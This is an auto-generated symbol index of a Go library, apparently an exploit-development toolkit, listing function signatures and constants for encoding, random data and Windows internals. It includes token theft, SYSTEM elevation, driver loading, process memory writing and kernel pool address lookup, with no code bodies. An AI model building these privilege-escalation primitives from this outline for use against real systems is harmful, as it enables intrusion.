UDPConnect (line 11) | func UDPConnect(host string, port int) (*net.UDPConn, bool) { function UDPWrite (line 32) | func UDPWrite(conn *net.UDPConn, data []byte) bool { function UDPReadAmount (line 49) | func UDPReadAmount(conn *net.UDPConn, amount int) ([]byte, bool) { FILE: random/random.go function RandIntRange (line 20) | func RandIntRange(rangeMin int, rangeMax int) int { function RandPositiveInt (line 34) | func RandPositiveInt(rangeMax int) int { function RandLetters (line 47) | func RandLetters(n int) string { function RandLettersNoBadChars (line 58) | func RandLettersNoBadChars(n int, badchars []rune) string { function RandLettersRange (line 87) | func RandLettersRange(rangeMin int, rangeMax int) string { function RandMAC (line 92) | func RandMAC() string { function RandHex (line 102) | func RandHex(n int) string { function RandHexRange (line 112) | func RandHexRange(rangeMin int, rangeMax int) string { function RandDigits (line 117) | func RandDigits(n int) string { function RandDigitsRange (line 134) | func RandDigitsRange(rangeMin int, rangeMax int) string { function RandDomain (line 139) | func RandDomain() string { function RandEmail (line 147) | func RandEmail() string { function RandIPv4 (line 159) | func RandIPv4() net.IP { function RandIPv4Private (line 169) | func RandIPv4Private() net.IP { function RandIPv4Loopback (line 197) | func RandIPv4Loopback() net.IP { function RandIPv6 (line 207) | func RandIPv6() net.IP { FILE: random/random_test.go function Test_RandPositiveInt (line 9) | func Test_RandPositiveInt(t *testing.T) { function Test_RandIntRange (line 19) | func Test_RandIntRange(t *testing.T) { function Test_RandLetters (line 29) | func Test_RandLetters(t *testing.T) { function Test_RandLettersNoBadChars (line 57) | func Test_RandLettersNoBadChars(t *testing.T) { function Test_RandDigits (line 73) | func Test_RandDigits(t *testing.T) { function Test_RandHex (line 90) | func Test_RandHex(t *testing.T) { function Test_RandLettersRange (line 103) | func Test_RandLettersRange(t *testing.T) { function Test_RandHexRange (line 116) | func Test_RandHexRange(t *testing.T) { function Test_RandDigitsRange (line 129) | func Test_RandDigitsRange(t *testing.T) { function Test_RandDomain (line 146) | func Test_RandDomain(t *testing.T) { function Test_RandMAC (line 158) | func Test_RandMAC(t *testing.T) { function Test_RandEmail (line 170) | func Test_RandEmail(t *testing.T) { function TestRandIPv4 (line 182) | func TestRandIPv4(t *testing.T) { function TestRandIPv6 (line 195) | func TestRandIPv6(t *testing.T) { function TestRandIPv4Private (line 208) | func TestRandIPv4Private(t *testing.T) { function TestRandIPv4Loopback (line 228) | func TestRandIPv4Loopback(t *testing.T) { FILE: search/search_test.go function TestCheckSemVer_Full (line 19) | func TestCheckSemVer_Full(t *testing.T) { function TestCheckSemVer_BadVersion (line 28) | func TestCheckSemVer_BadVersion(t *testing.T) { function TestCheckSemVer_BadConstraint (line 37) | func TestCheckSemVer_BadConstraint(t *testing.T) { function TestXPath_Node (line 46) | func TestXPath_Node(t *testing.T) { function TestXPath_NodeMultiple (line 56) | func TestXPath_NodeMultiple(t *testing.T) { function TestXPathAll_NodeMultiple (line 66) | func TestXPathAll_NodeMultiple(t *testing.T) { function TestXPath_Attributes (line 76) | func TestXPath_Attributes(t *testing.T) { FILE: search/semver.go function CheckSemVer (line 14) | func CheckSemVer(version string, constraint string) bool { FILE: search/xpath.go function XPath (line 15) | func XPath(document, path string) (string, bool) { function XPathAll (line 34) | func XPathAll(document, path string) ([]string, bool) { FILE: transform/encode.go function StringToUnicodeByteArray (line 20) | func StringToUnicodeByteArray(s string) []byte { function Inflate (line 31) | func Inflate(compressed []byte) ([]byte, bool) { function EncodeBase64 (line 51) | func EncodeBase64(s string) string { function EncodeBase64URL (line 56) | func EncodeBase64URL(s string) string { function EncodeBase64GWTRPC (line 61) | func EncodeBase64GWTRPC(s string) string { function EncodeBase64Chunks (line 75) | func EncodeBase64Chunks(s string, maxChunkSize uint) []string { function DecodeBase64 (line 133) | func DecodeBase64(s string) string { function DecodeBase64URL (line 145) | func DecodeBase64URL(s string) string { function Title (line 160) | func Title(s string) string { function URLEncodeString (line 165) | func URLEncodeString(inputString string) string { function PackLittleInt16 (line 175) | func PackLittleInt16(n int) string { function PackLittleInt32 (line 187) | func PackLittleInt32(n int) string { function PackLittleInt64 (line 199) | func PackLittleInt64(n int) string { function PackBigInt16 (line 211) | func PackBigInt16(n int) string { function PackBigInt32 (line 223) | func PackBigInt32(n int) string { function PackBigInt64 (line 235) | func PackBigInt64(n int) string { function PackBigFloat32 (line 247) | func PackBigFloat32(f float32) string { FILE: transform/encode_test.go constant urlTestString (line 8) | urlTestString = "Theskyabovetheportwasthecoloroftelevision,tunedtoadeadc... function TestURLEncodeString (line 11) | func TestURLEncodeString(t *testing.T) { function TestEncodeBase64 (line 21) | func TestEncodeBase64(t *testing.T) { function TestEncodeBase64Chunks (line 31) | func TestEncodeBase64Chunks(t *testing.T) { function TestEncodeBase64Chunks_EmptyString (line 62) | func TestEncodeBase64Chunks_EmptyString(t *testing.T) { function TestEncodeBase64Chunks_SmallerThanMaxsize (line 69) | func TestEncodeBase64Chunks_SmallerThanMaxsize(t *testing.T) { function TestEncodeBase64URL (line 77) | func TestEncodeBase64URL(t *testing.T) { function TestDecodeBase64URL (line 87) | func TestDecodeBase64URL(t *testing.T) { function TestDecodeBase64URL_NoPad (line 97) | func TestDecodeBase64URL_NoPad(t *testing.T) { function TestDecodeBase64URL_WayTooMuchPadding (line 107) | func TestDecodeBase64URL_WayTooMuchPadding(t *testing.T) { function TestDecodeBase64 (line 117) | func TestDecodeBase64(t *testing.T) { function TestTitle (line 127) | func TestTitle(t *testing.T) { function TestPackLittleInt32 (line 137) | func TestPackLittleInt32(t *testing.T) { function TestPackLittleInt64 (line 147) | func TestPackLittleInt64(t *testing.T) { function TestPackBigInt16 (line 157) | func TestPackBigInt16(t *testing.T) { function TestPackBigInt32 (line 167) | func TestPackBigInt32(t *testing.T) { function TestPackBigInt64 (line 177) | func TestPackBigInt64(t *testing.T) { function TestInflate (line 187) | func TestInflate(t *testing.T) { FILE: transform/escape.go function EscapeXML (line 13) | func EscapeXML(s string) string { FILE: transform/escape_test.go function TestEscapeHTML (line 7) | func TestEscapeHTML(t *testing.T) { function TestEscapeXML (line 17) | func TestEscapeXML(t *testing.T) { FILE: transform/parsing.go function ParseCommand (line 13) | func ParseCommand(command string) (string, string, bool) { FILE: transform/parsing_test.go function TestParseCommand (line 5) | func TestParseCommand(t *testing.T) { FILE: transform/transform.go function ShuffleURLParameters (line 17) | func ShuffleURLParameters(request string) string { FILE: transform/transform_test.go function TestShuffleParameters (line 7) | func TestShuffleParameters(t *testing.T) { function TestShuffleParametersFullURL (line 24) | func TestShuffleParametersFullURL(t *testing.T) { function TestShuffleParametersInvalid (line 55) | func TestShuffleParametersInvalid(t *testing.T) { FILE: windows/alpc_other.go constant AlpcBasicInformation (line 11) | AlpcBasicInformation = 0 constant AlpcPortInformation (line 12) | AlpcPortInformation = 1 constant AlpcAssociateCompletionPortInformation (line 13) | AlpcAssociateCompletionPortInformation = 2 constant AlpcConnectedSIDInformation (line 14) | AlpcConnectedSIDInformation = 3 constant AlpcServerInformation (line 15) | AlpcServerInformation = 4 constant AlpcMessageZoneInformation (line 16) | AlpcMessageZoneInformation = 5 constant AlpcRegisterCompletionListInformation (line 17) | AlpcRegisterCompletionListInformation = 6 constant AlpcUnregisterCompletionListInformation (line 18) | AlpcUnregisterCompletionListInformation = 7 constant AlpcAdjustCompletionListConcurrencyCountInformation (line 19) | AlpcAdjustCompletionListConcurrencyCountInformation = 8 constant AlpcRegisterCallbackInformation (line 20) | AlpcRegisterCallbackInformation = 9 constant AlpcDisconnectPortInformation (line 21) | AlpcDisconnectPortInformation = 10 constant AlpcPortSectionInformation (line 22) | AlpcPortSectionInformation = 11 function EnumALPCPorts (line 27) | func EnumALPCPorts(_ uint32) ([]HandleInfo, bool) { function QueryALPCPortSectionInfo (line 33) | func QueryALPCPortSectionInfo(_ Handle) (*ALPCSectionInfo, bool) { function NtAlpcCreatePort (line 39) | func NtAlpcCreatePort(_ string, _ uint64) (Handle, bool) { function NtAlpcCreateResourceReserve (line 45) | func NtAlpcCreateResourceReserve(_ Handle, _ uint32) (Handle, bool) { function NtAlpcSendWaitReceivePort (line 51) | func NtAlpcSendWaitReceivePort(_ Handle, _ uint32, _ unsafe.Pointer) (ui... function CreateALPCPorts (line 57) | func CreateALPCPorts(_ uint32, _ string, _ uint64) ([]Handle, bool) { FILE: windows/alpc_test.go function TestALPCInformationClassConstants (line 10) | func TestALPCInformationClassConstants(t *testing.T) { function TestEnumALPCPortsNonWindows (line 38) | func TestEnumALPCPortsNonWindows(t *testing.T) { function TestQueryALPCPortSectionInfoNonWindows (line 47) | func TestQueryALPCPortSectionInfoNonWindows(t *testing.T) { function TestALPCSectionInfoStruct (line 56) | func TestALPCSectionInfoStruct(t *testing.T) { FILE: windows/alpc_windows.go constant AlpcBasicInformation (line 16) | AlpcBasicInformation = 0 constant AlpcPortInformation (line 17) | AlpcPortInformation = 1 constant AlpcAssociateCompletionPortInformation (line 18) | AlpcAssociateCompletionPortInformation = 2 constant AlpcConnectedSIDInformation (line 19) | AlpcConnectedSIDInformation = 3 constant AlpcServerInformation (line 20) | AlpcServerInformation = 4 constant AlpcMessageZoneInformation (line 21) | AlpcMessageZoneInformation = 5 constant AlpcRegisterCompletionListInformation (line 22) | AlpcRegisterCompletionListInformation = 6 constant AlpcUnregisterCompletionListInformation (line 23) | AlpcUnregisterCompletionListInformation = 7 constant AlpcAdjustCompletionListConcurrencyCountInformation (line 24) | AlpcAdjustCompletionListConcurrencyCountInformation = 8 constant AlpcRegisterCallbackInformation (line 25) | AlpcRegisterCallbackInformation = 9 constant AlpcDisconnectPortInformation (line 26) | AlpcDisconnectPortInformation = 10 constant AlpcPortSectionInformation (line 27) | AlpcPortSectionInformation = 11 type alpcPortSectionInfoInternal (line 31) | type alpcPortSectionInfoInternal struct function EnumALPCPorts (line 40) | func EnumALPCPorts(pid uint32) ([]HandleInfo, bool) { function QueryALPCPortSectionInfo (line 47) | func QueryALPCPortSectionInfo(portHandle Handle) (*ALPCSectionInfo, bool) { function NtAlpcCreatePort (line 77) | func NtAlpcCreatePort(portName string, maxMessageLength uint64) (Handle,... function NtAlpcCreateResourceReserve (line 116) | func NtAlpcCreateResourceReserve(portHandle Handle, messageSize uint32) ... function NtAlpcSendWaitReceivePort (line 139) | func NtAlpcSendWaitReceivePort(portHandle Handle, flags uint32, sendMsg ... function CreateALPCPorts (line 162) | func CreateALPCPorts(count uint32, prefix string, maxMessageLength uint6... FILE: windows/device_other.go function OpenDevice (line 9) | func OpenDevice(_ string, _ uint32) (Handle, bool) { function DeviceIoControl (line 15) | func DeviceIoControl(_ Handle, _ uint32, _ []byte, _ []byte) (uint32, bo... function DeviceIoControlPtr (line 21) | func DeviceIoControlPtr(_ Handle, _ uint32, _ unsafe.Pointer, _ uint32, ... function CtlCode (line 28) | func CtlCode(deviceType, function, method, access uint32) uint32 { constant FileDeviceUnknown (line 34) | FileDeviceUnknown = 0x00000022 constant FileDeviceKS (line 35) | FileDeviceKS = 0x0000002F constant MethodBuffered (line 40) | MethodBuffered = 0 constant MethodInDirect (line 41) | MethodInDirect = 1 constant MethodOutDirect (line 42) | MethodOutDirect = 2 constant MethodNeither (line 43) | MethodNeither = 3 constant FileAnyAccess (line 48) | FileAnyAccess = 0 constant FileReadAccess (line 49) | FileReadAccess = 1 constant FileWriteAccess (line 50) | FileWriteAccess = 2 FILE: windows/device_test.go function TestCtlCode (line 10) | func TestCtlCode(t *testing.T) { function TestOpenDeviceNonWindows (line 20) | func TestOpenDeviceNonWindows(t *testing.T) { function TestDeviceIoControlNonWindows (line 29) | func TestDeviceIoControlNonWindows(t *testing.T) { function TestDeviceConstants (line 38) | func TestDeviceConstants(t *testing.T) { FILE: windows/device_windows.go function OpenDevice (line 13) | func OpenDevice(devicePath string, access uint32) (Handle, bool) { function DeviceIoControl (line 38) | func DeviceIoControl(device Handle, ioControlCode uint32, inBuffer []byt... function DeviceIoControlPtr (line 76) | func DeviceIoControlPtr(device Handle, ioControlCode uint32, inPtr unsaf... function CtlCode (line 106) | func CtlCode(deviceType, function, method, access uint32) uint32 { constant FileDeviceUnknown (line 112) | FileDeviceUnknown = 0x00000022 constant FileDeviceKS (line 113) | FileDeviceKS = 0x0000002F constant MethodBuffered (line 118) | MethodBuffered = 0 constant MethodInDirect (line 119) | MethodInDirect = 1 constant MethodOutDirect (line 120) | MethodOutDirect = 2 constant MethodNeither (line 121) | MethodNeither = 3 constant FileAnyAccess (line 126) | FileAnyAccess = 0 constant FileReadAccess (line 127) | FileReadAccess = 1 constant FileWriteAccess (line 128) | FileWriteAccess = 2 FILE: windows/fsctl_other.go function NtFsControlFile (line 7) | func NtFsControlFile(_ Handle, _ uint32, _ []byte, _ []byte) (*IOStatusB... function NtFsControlFilePtr (line 13) | func NtFsControlFilePtr(_ Handle, _ uint32, _ uintptr, _ uint32, _ uintp... function NtCreateFile (line 19) | func NtCreateFile(_ string, _ uint32, _ uint32, _ uint32, _ uint32, _ ui... FILE: windows/fsctl_windows.go function NtFsControlFile (line 15) | func NtFsControlFile(handle Handle, fsctlCode uint32, inBuf []byte, outB... function NtFsControlFilePtr (line 52) | func NtFsControlFilePtr(handle Handle, fsctlCode uint32, inPtr uintptr, ... function NtCreateFile (line 79) | func NtCreateFile(ntPath string, desiredAccess uint32, shareAccess uint3... FILE: windows/handle_other.go function QuerySystemHandles (line 7) | func QuerySystemHandles() ([]HandleInfo, bool) { function QueryProcessHandles (line 13) | func QueryProcessHandles(_ uint32) ([]HandleInfo, bool) { function QueryProcessHandlesByType (line 19) | func QueryProcessHandlesByType(_ uint32, _ uint8) ([]HandleInfo, bool) { function DuplicateHandle (line 25) | func DuplicateHandle(_ Handle, _ Handle, _ Handle, _ uint32, _ bool, _ u... function DuplicateHandleFromProcess (line 31) | func DuplicateHandleFromProcess(_ uint32, _ uint16) (Handle, bool) { constant DuplicateCloseSource (line 37) | DuplicateCloseSource = 0x1 constant DuplicateSameAccess (line 38) | DuplicateSameAccess = 0x2 function QueryBigPoolInformation (line 43) | func QueryBigPoolInformation(_ uint32, _ uint64) ([]BigPoolEntry, bool) { function FindBigPoolAddress (line 49) | func FindBigPoolAddress(_ uint32, _ uint64) (uintptr, bool) { FILE: windows/handle_test.go function TestHandleDuplicationConstants (line 10) | func TestHandleDuplicationConstants(t *testing.T) { function TestQuerySystemHandlesNonWindows (line 19) | func TestQuerySystemHandlesNonWindows(t *testing.T) { function TestQueryProcessHandlesNonWindows (line 28) | func TestQueryProcessHandlesNonWindows(t *testing.T) { function TestQueryProcessHandlesByTypeNonWindows (line 37) | func TestQueryProcessHandlesByTypeNonWindows(t *testing.T) { function TestDuplicateHandleNonWindows (line 46) | func TestDuplicateHandleNonWindows(t *testing.T) { function TestDuplicateHandleFromProcessNonWindows (line 62) | func TestDuplicateHandleFromProcessNonWindows(t *testing.T) { FILE: windows/handle_windows.go function QuerySystemHandles (line 16) | func QuerySystemHandles() ([]HandleInfo, bool) { function QueryProcessHandles (line 64) | func QueryProcessHandles(pid uint32) ([]HandleInfo, bool) { function QueryProcessHandlesByType (line 81) | func QueryProcessHandlesByType(pid uint32, objectTypeIndex uint8) ([]Han... function DuplicateHandle (line 98) | func DuplicateHandle(sourceProcess Handle, sourceHandle Handle, targetPr... function DuplicateHandleFromProcess (line 126) | func DuplicateHandleFromProcess(sourcePID uint32, sourceHandleValue uint... constant DuplicateCloseSource (line 150) | DuplicateCloseSource = 0x1 constant DuplicateSameAccess (line 151) | DuplicateSameAccess = 0x2 function QueryBigPoolInformation (line 157) | func QueryBigPoolInformation(tag uint32, poolSize uint64) ([]BigPoolEntr... function FindBigPoolAddress (line 216) | func FindBigPoolAddress(tag uint32, poolSize uint64) (uintptr, bool) { FILE: windows/memory_other.go function VirtualAlloc (line 7) | func VirtualAlloc(_ uintptr, _ uintptr, _ uint32, _ uint32) (uintptr, bo... function VirtualAllocEx (line 13) | func VirtualAllocEx(_ Handle, _ uintptr, _ uintptr, _ uint32, _ uint32) ... function VirtualFree (line 19) | func VirtualFree(_ uintptr, _ uintptr, _ uint32) bool { function VirtualFreeEx (line 25) | func VirtualFreeEx(_ Handle, _ uintptr, _ uintptr, _ uint32) bool { function VirtualProtect (line 31) | func VirtualProtect(_ uintptr, _ uintptr, _ uint32) (uint32, bool) { function VirtualProtectEx (line 37) | func VirtualProtectEx(_ Handle, _ uintptr, _ uintptr, _ uint32) (uint32,... function VirtualQuery (line 43) | func VirtualQuery(_ uintptr) (*MemoryRegionInfo, bool) { function VirtualQueryEx (line 49) | func VirtualQueryEx(_ Handle, _ uintptr) (*MemoryRegionInfo, bool) { function ReadProcessMemory (line 55) | func ReadProcessMemory(_ Handle, _ uintptr, _ []byte) (int, bool) { function WriteProcessMemory (line 61) | func WriteProcessMemory(_ Handle, _ uintptr, _ []byte) (int, bool) { function CreateFileMapping (line 67) | func CreateFileMapping(_ Handle, _ uint64, _ uint32, _ string) (Handle, ... function MapViewOfFile (line 73) | func MapViewOfFile(_ Handle, _ uint32, _ uint64, _ uintptr) (uintptr, bo... function UnmapViewOfFile (line 79) | func UnmapViewOfFile(_ uintptr) bool { constant FileMapCopy (line 85) | FileMapCopy = 0x0001 constant FileMapWrite (line 86) | FileMapWrite = 0x0002 constant FileMapRead (line 87) | FileMapRead = 0x0004 constant FileMapExecute (line 88) | FileMapExecute = 0x0020 constant FileMapAllAccess (line 89) | FileMapAllAccess = 0xF001F constant SecCommit (line 94) | SecCommit = 0x8000000 constant SecImage (line 95) | SecImage = 0x1000000 constant SecReserve (line 96) | SecReserve = 0x4000000 FILE: windows/memory_test.go function TestMemoryProtectionConstants (line 10) | func TestMemoryProtectionConstants(t *testing.T) { function TestMemoryAllocationConstants (line 22) | func TestMemoryAllocationConstants(t *testing.T) { function TestVirtualAllocNonWindows (line 34) | func TestVirtualAllocNonWindows(t *testing.T) { function TestVirtualFreeNonWindows (line 43) | func TestVirtualFreeNonWindows(t *testing.T) { function TestVirtualProtectNonWindows (line 52) | func TestVirtualProtectNonWindows(t *testing.T) { function TestVirtualQueryNonWindows (line 61) | func TestVirtualQueryNonWindows(t *testing.T) { function TestReadProcessMemoryNonWindows (line 70) | func TestReadProcessMemoryNonWindows(t *testing.T) { function TestWriteProcessMemoryNonWindows (line 80) | func TestWriteProcessMemoryNonWindows(t *testing.T) { function TestCreateFileMappingNonWindows (line 90) | func TestCreateFileMappingNonWindows(t *testing.T) { function TestMapViewOfFileNonWindows (line 99) | func TestMapViewOfFileNonWindows(t *testing.T) { function TestUnmapViewOfFileNonWindows (line 108) | func TestUnmapViewOfFileNonWindows(t *testing.T) { function TestMemoryRegionInfoStruct (line 117) | func TestMemoryRegionInfoStruct(t *testing.T) { FILE: windows/memory_windows.go function VirtualAlloc (line 14) | func VirtualAlloc(address uintptr, size uintptr, allocationType uint32, ... function VirtualAllocEx (line 25) | func VirtualAllocEx(process Handle, address uintptr, size uintptr, alloc... function VirtualFree (line 45) | func VirtualFree(address uintptr, size uintptr, freeType uint32) bool { function VirtualFreeEx (line 56) | func VirtualFreeEx(process Handle, address uintptr, size uintptr, freeTy... function VirtualProtect (line 75) | func VirtualProtect(address uintptr, size uintptr, newProtect uint32) (u... function VirtualProtectEx (line 87) | func VirtualProtectEx(process Handle, address uintptr, size uintptr, new... function VirtualQuery (line 99) | func VirtualQuery(address uintptr) (*MemoryRegionInfo, bool) { function VirtualQueryEx (line 119) | func VirtualQueryEx(process Handle, address uintptr) (*MemoryRegionInfo,... function ReadProcessMemory (line 139) | func ReadProcessMemory(process Handle, address uintptr, buffer []byte) (... function WriteProcessMemory (line 151) | func WriteProcessMemory(process Handle, address uintptr, buffer []byte) ... function CreateFileMapping (line 163) | func CreateFileMapping(file Handle, size uint64, protect uint32, name st... function MapViewOfFile (line 187) | func MapViewOfFile(mapping Handle, access uint32, offset uint64, size ui... function UnmapViewOfFile (line 201) | func UnmapViewOfFile(address uintptr) bool { constant FileMapCopy (line 212) | FileMapCopy = windows.FILE_MAP_COPY constant FileMapWrite (line 213) | FileMapWrite = windows.FILE_MAP_WRITE constant FileMapRead (line 214) | FileMapRead = windows.FILE_MAP_READ constant FileMapExecute (line 215) | FileMapExecute = windows.FILE_MAP_EXECUTE constant FileMapAllAccess (line 216) | FileMapAllAccess = 0xF001F constant SecCommit (line 221) | SecCommit = 0x8000000 constant SecImage (line 222) | SecImage = 0x1000000 constant SecReserve (line 223) | SecReserve = 0x4000000 FILE: windows/platform_other.go function GetPlatformInfo (line 7) | func GetPlatformInfo() (*PlatformInfo, bool) { function IsAdmin (line 13) | func IsAdmin() bool { function IsSystem (line 19) | func IsSystem() bool { function IsElevated (line 25) | func IsElevated() bool { function GetIntegrityLevel (line 31) | func GetIntegrityLevel() IntegrityLevel { function EnumProcesses (line 37) | func EnumProcesses() ([]ProcessInfo, bool) { function GetProcessInfo (line 43) | func GetProcessInfo(_ uint32) (*ProcessInfo, bool) { function FindProcess (line 49) | func FindProcess(_ string) (uint32, bool) { function FindProcesses (line 55) | func FindProcesses(_ string) ([]uint32, bool) { function OpenProcess (line 61) | func OpenProcess(_ uint32, _ uint32) (Handle, bool) { function CloseHandle (line 67) | func CloseHandle(_ Handle) bool { function GetCurrentProcess (line 73) | func GetCurrentProcess() Handle { function GetCurrentProcessID (line 79) | func GetCurrentProcessID() uint32 { FILE: windows/platform_windows.go type rtlOSVersionInfoW (line 41) | type rtlOSVersionInfoW struct type systemHandleTableEntryInfo (line 51) | type systemHandleTableEntryInfo struct type systemHandleInformation (line 64) | type systemHandleInformation struct function GetPlatformInfo (line 70) | func GetPlatformInfo() (*PlatformInfo, bool) { function getArch (line 134) | func getArch() string { function getTokenIntegrityLevel (line 141) | func getTokenIntegrityLevel(token windows.Token) IntegrityLevel { function isAdmin (line 186) | func isAdmin(token windows.Token) bool { function IsAdmin (line 203) | func IsAdmin() bool { function IsSystem (line 212) | func IsSystem() bool { function IsElevated (line 221) | func IsElevated() bool { function GetIntegrityLevel (line 230) | func GetIntegrityLevel() IntegrityLevel { function EnumProcesses (line 240) | func EnumProcesses() ([]ProcessInfo, bool) { function GetProcessInfo (line 274) | func GetProcessInfo(pid uint32) (*ProcessInfo, bool) { function getProcessInfoSilent (line 285) | func getProcessInfoSilent(pid uint32) (*ProcessInfo, bool) { function FindProcess (line 335) | func FindProcess(name string) (uint32, bool) { function FindProcesses (line 352) | func FindProcesses(name string) ([]uint32, bool) { function OpenProcess (line 374) | func OpenProcess(pid uint32, access uint32) (Handle, bool) { function CloseHandle (line 385) | func CloseHandle(handle Handle) bool { function GetCurrentProcess (line 396) | func GetCurrentProcess() Handle { function GetCurrentProcessID (line 402) | func GetCurrentProcessID() uint32 { FILE: windows/service_other.go type SCManager (line 6) | type SCManager struct function OpenSCManager (line 10) | func OpenSCManager(_ uint32) (*SCManager, bool) { function GetServiceInfo (line 16) | func GetServiceInfo(_ string) (*ServiceInfo, bool) { function StartService (line 22) | func StartService(_ string) bool { function StopService (line 28) | func StopService(_ string) bool { function EnumServices (line 34) | func EnumServices() ([]ServiceInfo, bool) { function EnumDrivers (line 40) | func EnumDrivers() ([]ServiceInfo, bool) { function LoadDriver (line 46) | func LoadDriver(_ string, _ string) bool { function UnloadDriver (line 52) | func UnloadDriver(_ string) bool { function IsServiceRunning (line 58) | func IsServiceRunning(_ string) bool { function GetServicePID (line 64) | func GetServicePID(_ string) (uint32, bool) { FILE: windows/service_test.go function TestServiceStatusConstants (line 10) | func TestServiceStatusConstants(t *testing.T) { function TestServiceTypeConstants (line 19) | func TestServiceTypeConstants(t *testing.T) { function TestGetServiceInfoNonWindows (line 28) | func TestGetServiceInfoNonWindows(t *testing.T) { function TestStartServiceNonWindows (line 37) | func TestStartServiceNonWindows(t *testing.T) { function TestStopServiceNonWindows (line 46) | func TestStopServiceNonWindows(t *testing.T) { function TestEnumServicesNonWindows (line 55) | func TestEnumServicesNonWindows(t *testing.T) { function TestEnumDriversNonWindows (line 64) | func TestEnumDriversNonWindows(t *testing.T) { function TestLoadDriverNonWindows (line 73) | func TestLoadDriverNonWindows(t *testing.T) { function TestIsServiceRunningNonWindows (line 82) | func TestIsServiceRunningNonWindows(t *testing.T) { FILE: windows/service_windows.go function OpenSCManager (line 13) | func OpenSCManager(access uint32) (*mgr.Mgr, bool) { function GetServiceInfo (line 23) | func GetServiceInfo(serviceName string) (*ServiceInfo, bool) { function StartService (line 63) | func StartService(serviceName string) bool { function StopService (line 88) | func StopService(serviceName string) bool { function EnumServices (line 113) | func EnumServices() ([]ServiceInfo, bool) { function getServiceInfoSilent (line 142) | func getServiceInfoSilent(m *mgr.Mgr, serviceName string) (*ServiceInfo,... function EnumDrivers (line 172) | func EnumDrivers() ([]ServiceInfo, bool) { function LoadDriver (line 202) | func LoadDriver(driverPath string, serviceName string) bool { function UnloadDriver (line 237) | func UnloadDriver(serviceName string) bool { function IsServiceRunning (line 269) | func IsServiceRunning(serviceName string) bool { function GetServicePID (line 278) | func GetServicePID(serviceName string) (uint32, bool) { FILE: windows/token_other.go function OpenProcessToken (line 7) | func OpenProcessToken(_ Handle, _ uint32) (Token, bool) { function OpenProcessTokenByPID (line 13) | func OpenProcessTokenByPID(_ uint32, _ uint32) (Token, bool) { function DuplicateToken (line 19) | func DuplicateToken(_ Token, _ SecurityImpersonationLevel, _ TokenType) ... function ImpersonateToken (line 25) | func ImpersonateToken(_ Token) bool { function RevertToSelf (line 31) | func RevertToSelf() bool { function CloseToken (line 37) | func CloseToken(_ Token) bool { function GetTokenUser (line 43) | func GetTokenUser(_ Token) (string, bool) { function GetTokenIntegrity (line 49) | func GetTokenIntegrity(_ Token) IntegrityLevel { function StealToken (line 55) | func StealToken(_ uint32) (Token, bool) { function StealAndImpersonate (line 61) | func StealAndImpersonate(_ uint32) bool { function FindSystemProcess (line 80) | func FindSystemProcess() (uint32, bool) { function ElevateToSystem (line 86) | func ElevateToSystem() bool { function EnablePrivilege (line 92) | func EnablePrivilege(_ string) bool { constant SeDebugPrivilege (line 98) | SeDebugPrivilege = "SeDebugPrivilege" constant SeImpersonatePrivilege (line 99) | SeImpersonatePrivilege = "SeImpersonatePrivilege" constant SeAssignPrimaryTokenPrivilege (line 100) | SeAssignPrimaryTokenPrivilege = "SeAssignPrimaryTokenPrivilege" constant SeTcbPrivilege (line 101) | SeTcbPrivilege = "SeTcbPrivilege" constant SeBackupPrivilege (line 102) | SeBackupPrivilege = "SeBackupPrivilege" constant SeRestorePrivilege (line 103) | SeRestorePrivilege = "SeRestorePrivilege" constant SeTakeOwnershipPrivilege (line 104) | SeTakeOwnershipPrivilege = "SeTakeOwnershipPrivilege" constant SeLoadDriverPrivilege (line 105) | SeLoadDriverPrivilege = "SeLoadDriverPrivilege" function QueryTokenInformation (line 110) | func QueryTokenInformation(_ Token, _ uint32) ([]byte, bool) { function GetTokenPrivileges (line 116) | func GetTokenPrivileges(_ Token) ([]string, bool) { function GetTokenInfo (line 122) | func GetTokenInfo(_ Token) (*TokenInfo, bool) { function IsTokenElevated (line 128) | func IsTokenElevated(_ Token) bool { function GetTokenSessionID (line 134) | func GetTokenSessionID(_ Token) (uint32, bool) { FILE: windows/token_test.go function TestTokenTypeConstants (line 10) | func TestTokenTypeConstants(t *testing.T) { function TestSecurityImpersonationLevelConstants (line 19) | func TestSecurityImpersonationLevelConstants(t *testing.T) { function TestPrivilegeConstants (line 34) | func TestPrivilegeConstants(t *testing.T) { function TestOpenProcessTokenNonWindows (line 62) | func TestOpenProcessTokenNonWindows(t *testing.T) { function TestOpenProcessTokenByPIDNonWindows (line 71) | func TestOpenProcessTokenByPIDNonWindows(t *testing.T) { function TestDuplicateTokenNonWindows (line 80) | func TestDuplicateTokenNonWindows(t *testing.T) { function TestImpersonateTokenNonWindows (line 89) | func TestImpersonateTokenNonWindows(t *testing.T) { function TestRevertToSelfNonWindows (line 98) | func TestRevertToSelfNonWindows(t *testing.T) { function TestCloseTokenNonWindows (line 107) | func TestCloseTokenNonWindows(t *testing.T) { function TestGetTokenUserNonWindows (line 116) | func TestGetTokenUserNonWindows(t *testing.T) { function TestGetTokenIntegrityNonWindows (line 125) | func TestGetTokenIntegrityNonWindows(t *testing.T) { function TestStealTokenNonWindows (line 134) | func TestStealTokenNonWindows(t *testing.T) { function TestStealAndImpersonateNonWindows (line 143) | func TestStealAndImpersonateNonWindows(t *testing.T) { function TestFindSystemProcessNonWindows (line 152) | func TestFindSystemProcessNonWindows(t *testing.T) { function TestElevateToSystemNonWindows (line 161) | func TestElevateToSystemNonWindows(t *testing.T) { function TestEnablePrivilegeNonWindows (line 170) | func TestEnablePrivilegeNonWindows(t *testing.T) { FILE: windows/token_windows.go function OpenProcessToken (line 21) | func OpenProcessToken(processHandle Handle, desiredAccess uint32) (Token... function OpenProcessTokenByPID (line 32) | func OpenProcessTokenByPID(pid uint32, desiredAccess uint32) (Token, boo... function DuplicateToken (line 43) | func DuplicateToken(existingToken Token, impersonationLevel SecurityImpe... function ImpersonateToken (line 63) | func ImpersonateToken(token Token) bool { function RevertToSelf (line 74) | func RevertToSelf() bool { function CloseToken (line 84) | func CloseToken(token Token) bool { function GetTokenUser (line 94) | func GetTokenUser(token Token) (string, bool) { function GetTokenIntegrity (line 115) | func GetTokenIntegrity(token Token) IntegrityLevel { function StealToken (line 121) | func StealToken(targetPID uint32) (Token, bool) { function StealAndImpersonate (line 146) | func StealAndImpersonate(targetPID uint32) bool { function FindSystemProcess (line 176) | func FindSystemProcess() (uint32, bool) { function ElevateToSystem (line 189) | func ElevateToSystem() bool { function EnablePrivilege (line 206) | func EnablePrivilege(privilegeName string) bool { constant SeDebugPrivilege (line 240) | SeDebugPrivilege = "SeDebugPrivilege" constant SeImpersonatePrivilege (line 241) | SeImpersonatePrivilege = "SeImpersonatePrivilege" constant 